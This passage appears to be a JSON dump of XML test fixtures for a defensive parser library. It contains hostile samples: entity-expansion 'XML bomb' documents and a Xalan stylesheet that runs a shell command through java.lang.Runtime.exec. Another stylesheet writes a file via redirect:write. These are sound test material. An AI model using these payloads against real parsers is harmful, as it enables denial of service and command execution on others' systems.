BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\" >\n]>\n<bomb>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</bomb>\n"
  },
  {
    "path": "xmltestdata/schema-include.xsd",
    "content": "<xsd:schema xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">\n  <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" schemaLocation=\"http://www.w3.org/2001/xml.xsd\" />\n  <xsd:import namespace=\"https://example.invalid/namespace\" schemaLocation=\"https://example.invalid/invalid.xsd\" />\n  <xsd:element name=\"root\" type=\"xsd:boolean\" />\n</xsd:schema>\n"
  },
  {
    "path": "xmltestdata/simple-ns.xml",
    "content": "<?pi data?>\n<!-- comment -->\n<root xmlns='namespace'>\n   <element key='value'>text</element>\n   <element>text</element>tail\n   <empty-element/>\n</root>\n"
  },
  {
    "path": "xmltestdata/simple.xml",
    "content": "<!-- comment -->\n<root>\n   <element key='value'>text</element>\n   <element>text</element>tail\n   <empty-element/>\n</root>\n"
  },
  {
    "path": "xmltestdata/xalan_exec.xsl",
    "content": "<!-- Tested with xalan-j_2_7_1-bin.zip, Xerces-J-bin.2.11.0.tar.gz on\n     OpenJDK 1.7.0_15\n\n    $ LC_ALL=C java -cp xalan.jar:serializer.jar:xercesImpl.jar:xml-apis.jar \\\n      org.apache.xalan.xslt.Process -in simple.xml -xsl xalan_exec.xsl\n-->\n<xsl:stylesheet version=\"1.0\"\n     xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n     xmlns:rt=\"http://xml.apache.org/xalan/java/java.lang.Runtime\"\n     xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n     exclude-result-prefixes=\"rt ob\">\n  <xsl:template match=\"/\">\n  <xsl:variable name=\"runtimeObject\" select=\"rt:getRuntime()\"/>\n  <xsl:variable name=\"command\"\n     select=\"rt:exec($runtimeObject, &apos;/usr/bin/notify-send SomethingBadHappensHere&apos;)\"/>\n  <xsl:variable name=\"commandAsString\" select=\"ob:toString($command)\"/>\n  <xsl:value-of select=\"$commandAsString\"/>\n  </xsl:template>\n</xsl:stylesheet>\n\n"
  },
  {
    "path": "xmltestdata/xalan_write.xsl",
    "content": "<!-- Tested with xalan-j_2_7_1-bin.zip, Xerces-J-bin.2.11.0.tar.gz on\n     OpenJDK 1.7.0_15\n\n    $ LC_ALL=C java -cp xalan.jar:serializer.jar:xercesImpl.jar:xml-apis.jar \\\n      org.apache.xalan.xslt.Process -in simple.xml -xsl xalan_write.xsl\n-->\n<xsl:stylesheet version=\"1.0\"\n    xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n    xmlns:redirect=\"http://xml.apache.org/xalan/redirect\"\n    extension-element-prefixes=\"redirect\">\n  <xsl:output omit-xml-declaration=\"yes\" indent=\"yes\"/>\n  <xsl:template match=\"/\">\n    <redirect:write file=\"xalan_redirect.txt\" method=\"text\">\n      <xsl:text>Something bad happens here!&#13;</xsl:text>\n    </redirect:write>\n  </xsl:template>\n</xsl:stylesheet>\n\n"
  },
  {
    "path": "xmltestdata/xmlbomb.xml",
    "content": "<!DOCTYPE xmlbomb [\n<!ENTITY a \"1234567890\" >\n<!ENTITY b \"&a;&a;&a;&a;&a;&a;&a;&a;\">\n<!ENTITY c \"&b;&b;&b;&b;&b;&b;&b;&b;\">\n<!ENTITY d \"&c;&c;&c;&c;&c;&c;&c;&c;\">\n]>\n<bomb>&c;</bomb>\n"
  },
  {
    "path": "xmltestdata/xmlbomb2.xml",
    "content": "<!DOCTYPE xmlbomb [\n<!ENTITY a \"1234567890\">\n]>\n<root>text<bomb>&a;</bomb><tag/></root>\n"
  }
]